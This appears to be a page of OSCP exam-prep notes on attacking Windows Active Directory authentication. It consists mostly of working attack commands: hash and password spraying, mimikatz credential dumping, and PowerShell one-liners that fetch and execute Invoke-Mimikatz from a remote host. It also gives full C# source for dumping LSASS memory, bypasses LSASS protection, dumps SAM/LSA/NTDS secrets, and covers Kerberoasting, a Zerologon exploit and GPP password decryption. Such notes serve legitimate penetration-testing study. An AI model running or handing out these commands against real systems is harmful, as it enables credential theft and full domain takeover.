> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/active-directory/authentication.md). # Authentication

Credentials Spraying (hashes/passwords)

```bash # Spray Hashes for Domain nxc smb target.txt -u user.txt -H hashes.txt --continue-on-success # Spray Hashes for Local Admin nxc smb 172.16.150.0/24 -u administrator -H ed24.. --local-auth # Spray Passwords for Domain nxc smb target.txt -u user.txt -p passwords.txt --continue-on-success ```

Dumping Creds (Mimikatz Commands)

**ALWAYS OPEN WITH ADMIN CMD.EXE** ```bash token::elevate privilege::debug log sekurlsa::logonpasswords # IF ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) --> Need bypass PPL lsadump::sam lsadump::secrets lsadump::cache sekurlsa::tickets ``` ```powershell powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-PowerDump.ps1 -UseBasicParsing);Invoke-PowerDump" powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-Mimikatz.ps1 -UseBasicParsing); Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"'" ``` * If mimikatz is not dumping out required hashes/passwords, can try `mimikatz_2_1_1_x64.exe` (version 2.1.1). From [here](https://github.com/gentilkiwi/mimikatz/files/4167347/mimikatz_trunk.zip).

Getting Past Protected Process Light (PPL) for Mimikatz

* Detecting LSASS executing as Protected Process Light? ``` mimikatz # sekurlsa::logonpasswords ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) ``` * How to workaround? * Must download mimidrv.sys in the same folder as mimikatz.exe

mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords

Credential Dumping With NetExec (nxc)

# Dump LSASS (Local Admin Privileges)
nxc smb 192.168.255.131 -u <username> -p <password> -M lsassy [--local-auth]

# Dump SAM (Local Admin Privileges)
nxc smb 192.168.255.131 -u <username> -p <password> --sam [secdump] [--local-auth]

# Dump DPAPI (Local Admin Privileges)
nxc smb 192.168.255.131 -u <username> -p <password> --dpapi

# Dump LSA Secrets (Domain Admin or Local Admin on DC)
nxc smb 192.168.255.131 -u <username> -p <password> --lsa [secdump]

# Dump NTDS.dit (Domain Admin or Local Admin on DC)
nxc smb 192.168.255.131 -u <username> -p <password> --ntds

Mimikatz from dmp file

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace MiniDump
{
    class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId,
          IntPtr hFile, int DumpType, IntPtr ExceptionParam,
          IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle,
          int processId);

        static void Main(string[] args)
        {
            FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
            Process[] lsass = Process.GetProcessesByName("lsass");
            int lsass_pid = lsass[0].Id;

            IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
        }
    }
}

* Release --> x64 --> .\Minidump.exe from local admin account * Lsass.dmp is saved in C:\Windows\tasks ``` sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords ```

Service Accounts Attacks

* When user wants to access resource hosted by SPN, client requirests a service ticket that is generated by DC * Service ticket is encrypted through the password hash of the SPN * Application server then decrypt and validate the service ticket ```powershell Add-Type -AssemblyName System.IdentityModel ``` ```powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com' ``` * The following command will display all cached Kerberos tickets for the current user. ```powershell klist ``` * To download the service ticket with `mimikatz` ``` privilege::debug ``` ```powershell kerberos::list /export ``` * To crack the service ticket to obtain cleartext password ```bash sudo apt update && sudo apt install kerberoast ``` ```bash python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi ```

Abusing TGT and TGS tickets

``` mimikatz.exe ``` ``` privilege::debug ``` ``` sekurlsa::tickets ```

To dump the credentials of all logged-on users

```bash mimikatz.exe ``` To engage the SeDebugPrivlege privilege, which will allow us to interact with a process owned by another account. ```sh privilege::debug ``` ``` sekurlsa::logonpasswords ```

Dump Machine Acc's hashes

```bash # https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcdump.py rpcdump.py |grep MS-RPRN # https://github.com/NotMedic/NetNTLMtoSilverTicket python dementor.py -u Guest -p '' ```

Zerologon

* Quick Win

python3 set_empty_pw.py DC01 192.168.194.165
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
# secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'htb.local/forest$@10.10.10.161'

GPP Passwords

* When new Group Policy Preference is created --> XML file in SYSVOL share (Groups.xml) will contain all config data (including passwords) * Microsoft patched it in 2014 to prevent admins from putting passwords into GPP ```xml # Groups.xml ``` ```bash gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ # GPPstillStandingStrong2k18 ```